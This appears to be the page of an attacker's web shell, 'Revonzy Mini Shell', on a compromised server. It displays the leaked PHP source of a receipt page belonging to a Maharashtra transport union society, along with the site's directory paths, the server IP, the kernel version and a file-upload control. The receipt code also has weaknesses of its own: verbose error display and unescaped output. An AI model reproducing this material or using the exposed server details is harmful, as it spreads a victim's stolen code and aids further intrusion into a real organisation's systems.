Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/vahtuksanghatana.com/ssociety_old/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/vahtuksanghatana.com/ssociety_old/view_pavati.php

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
require_once('lib/functions.php');
$db     =   new login_function();
    if(isset($_GET['pavati_id']))
    {
         $pavati_id =   $_GET['pavati_id'];
         $_SESSION['pavati_id'] = $pavati_id;
         // echo $pavati_id;
    }
      else if(isset($_SESSION['pavati_id']))
    {

       echo $pavati_id  = $_SESSION['pavati_id'];
    }
if (isset($_GET['res_id'])) {
    $res_id = $_GET['res_id'];
    $_SESSION['res_id'] = $res_id;  // Store in session for future requests
} else if (isset($_SESSION['res_id'])) {
    // Otherwise, check if 'res_id' is set in session
    $res_id = $_SESSION['res_id'];
}

$total_shares = 0;
$users_data = array();
$users_data = $db->get_payment_id_wise($res_id);

if (!empty($users_data)) {
    foreach ($users_data as $record) {
        // Extract values from the current record
        $res_id = $record[0];
        $sabhasad_id = $record[1];
        $payment_date = $record[2];
        $accont_number = $record[3];
        $parvesh_fee = $record[4];
        $service_charge = $record[5];
        $shares1 = $record[6];
        $karj_hapta = $record[7];
        $farm_fee = $record[8];
        $vilamb_akar = $record[9];
        $res_date = $record[10];
        $res_time = $record[11];

        // Accumulate shares into total_shares
        $total_shares += floatval($shares1);  // Use += to add the shares1 to the total_shares

        // Optional: Output the name of the person based on sabhasad_id
        $name = $db->get_name_by_id($sabhasad_id);
    }
}

// echo $shares1;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Receipt Design</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            margin: 0;
            padding: 0;
            background-color: #f9f9f9;
        }
        .receipt-container {
            width: 800px;
            margin: 20px auto;
            background: #fff;
            border: 1px solid #000;
            padding: 20px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        .header {
            text-align: center;
            margin-bottom: 20px;
        }
        .header p {
            margin: 5px 0;
        }
        .header h1 {
            font-size: 22px;
            margin: 5px 0;
        }
        .header h2 {
            font-size: 18px;
            margin: 5px 0;
        }
        .header h3 {
            font-size: 16px;
            margin: 5px 0;
        }
        .info-section {
            margin-bottom: 20px;
            font-size: 16px;
        }
        .info-section div {
            margin: 5px 0;
        }
        .info-section span {
            display: inline-block;
            width: 150px;
        }
        .table {
            width: 100%;
            border-collapse: collapse;
            margin-bottom: 20px;
        }
        .table th, .table td {
            border: 1px solid #000;
            text-align: left;
            padding: 5px;
            font-size: 14px;
        }
        .table th {
            text-align: center;
            font-weight: bold;
        }
        .footer {
            font-size: 16px;
        }
        .footer div {
            margin: 10px 0;
        }
        .footer .signature {
            text-align: right;
        }
        .print_button 
        {
                width: 150px;
                height: 40px;
                background-color: bisque;
                border: 3px solid #000;
                cursor: pointer;
                border-radius: 8px;
        }


    </style>
</head>
<body>

<?php
function numberToMarathiWords($num) 
{
    $ones = array(
        0 => "शून्य", 1 => "एक", 2 => "दोन", 3 => "तीन", 4 => "चार", 5 => "पाच", 
        6 => "सहा", 7 => "सात", 8 => "आठ", 9 => "नऊ", 10 => "दहा", 
        11 => "अकरा", 12 => "बारा", 13 => "तेरा", 14 => "चौदा", 15 => "पंधरा", 
        16 => "सोळा", 17 => "सतरा", 18 => "अठरा", 19 => "एकोणीस", 20 => "वीस", 
        30 => "तीस", 40 => "चाळीस", 50 => "पन्नास", 60 => "साठ", 70 => "सत्तर", 
        80 => "ऐंशी", 90 => "नव्वद", 00 => "शे"
    );
    
    $tens = array(
      100 => "शंभर", 1000 => "हजार", 100000 => "लाख", 10000000 => "कोटी"
    );

    if ($num == 0) return $ones[0]; 

    $result = '';

    foreach ($tens as $value => $word) {
        if ($num >= $value) {
            $num_parts = floor($num / $value);
            $num = $num % $value;
            $result .= numberToMarathiWords($num_parts) . " " . $word . " ";
        }
    }

    if ($num > 0) 
    {
        if ($num < 10) {
            $result .= $ones[$num];
        } elseif ($num < 100) {
            $tens_part = floor($num / 10) * 10;
            $ones_part = $num % 10;
            $result .= $ones[$tens_part];
            if ($ones_part > 0) {
                $result .= " " . $ones[$ones_part];
            }
        } else 
        {
            if ($num % 100 == 0) {
                $result .= $ones[$num / 100] . " " . $tens[100];
            } else {
                $tens_part = floor($num / 10) * 10;
                $ones_part = $num % 10;
                $result .= $ones[$tens_part] . " " . $ones[$ones_part];
            }
        }
    }

    return trim($result);
}


$users_data = array();
$users_data = $db->get_payment_details_for_pavati($pavati_id);

if (!empty($users_data)) {
    $counter = 0;
    
    foreach ($users_data as $record) 
    {
        $res_id = $users_data[$counter][0];
        $sabhasad_id = $users_data[$counter][1];
        $payment_date = $users_data[$counter][2];
        $accont_number = $users_data[$counter][3];
        $parvesh_fee = $users_data[$counter][4];
        $service_charge = $users_data[$counter][5];
        $shares = $users_data[$counter][6];
        $karj_hapta = $users_data[$counter][7];
        $farm_fee = $users_data[$counter][8];
        $vilamb_akar = $users_data[$counter][9];
        $res_date = $users_data[$counter][10];
        $res_time = $users_data[$counter][11];

        $name = $db->get_name_by_id($sabhasad_id);

        $total_amount = floatval($parvesh_fee) + floatval($service_charge) + floatval($shares) + floatval($karj_hapta) + floatval($farm_fee) + floatval($vilamb_akar);

        $total_amount_in_words = numberToMarathiWords($total_amount);
?>

<div class="receipt-container">
    <div class="header">
        <p><strong>Reg. No. PN/5173</strong></p>
        <h1>वाहतूक संघटना संयुक्त महासंघ</h1>
        <h2>महाराष्ट्र राज्य</h2>
        <h3>महासंघ बिनव्याजी सोसायटी</h3>
        <p>३२/९ डी, मौलाली चौक, दक्षिण सदर बाजार, सोलापूर.</p>
    </div>

    <div class="info-section">
        <div><span>पावती नं.:</span> <?php echo $res_id ; ?></div>
        <div><span>नाव:</span> <?php echo $name; ?></div> 
        <div><span>दिनांक:</span> <?php echo $payment_date; ?></div> 
        <div><span>खाते नं.:</span> <?php echo $accont_number; ?></div> 
    </div>
    <table class="table">
        <thead>
            <tr>
                <th>नं.</th>
                <th>तपशील</th>
                <th>रुपये</th>
            </tr>
        </thead>
        <tbody>
            <tr>
                <td>1</td>
                <td>प्रवेश फी</td>
                <td><?php echo $parvesh_fee; ?></td>
            </tr>
            <tr>
                <td>2</td>
                <td>सर्व्हिस चार्ज</td>
                <td><?php echo $service_charge; ?></td> 
            </tr>
            <tr>
                <td>3</td>
                <td>शेअर्स</td>
                <td><?php echo $shares; ?></td> 
            </tr>
            <tr>
                <td>4</td>
                <td>कर्ज हप्ता</td>
                <td><?php echo $karj_hapta; ?></td> 
            </tr>
            <tr>
                <td>5</td>
                <td>फार्म फी</td>
                <td><?php echo $farm_fee; ?></td> 
            </tr>
            <tr>
                <td>6</td>
                <td>विलंब आकार</td>
                <td><?php echo $vilamb_akar; ?></td> 
            </tr>
            <tr>
                <td>7</td>
                <td>इतर</td>
                <td>___________</td>
            </tr>

             <tr>
                <td></td>
                <td style="font-weight: 800;font-size: 16px;">एकूण</td>
                <td style="font-weight: 800;font-size: 16px;"> <?php echo $total_amount; ?></td>
            </tr>
        </tbody>
    </table>

    <div class="footer">
        <div>येणे बाकी : ___________</div>
        <div>एकूण शेअर्स: <?php echo $total_shares;?></div>
       <div>अक्षरी रुपये: <?php echo $total_amount_in_words; ?> रुपये रोक मिळाले.</div>

        <div class="signature">खजिनदार / सचिव</div>
    </div>
</div>
<?php
        $counter++;
    }
}
?>
<center><button class="print_button" onclick="printReceipt()">Print Receipt</button></center>

<script>
function printReceipt() 
{
  document.querySelector('button').style.display = 'none';
  window.print();
}

window.onafterprint = function() 
{
  location.reload();
};
</script>


</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4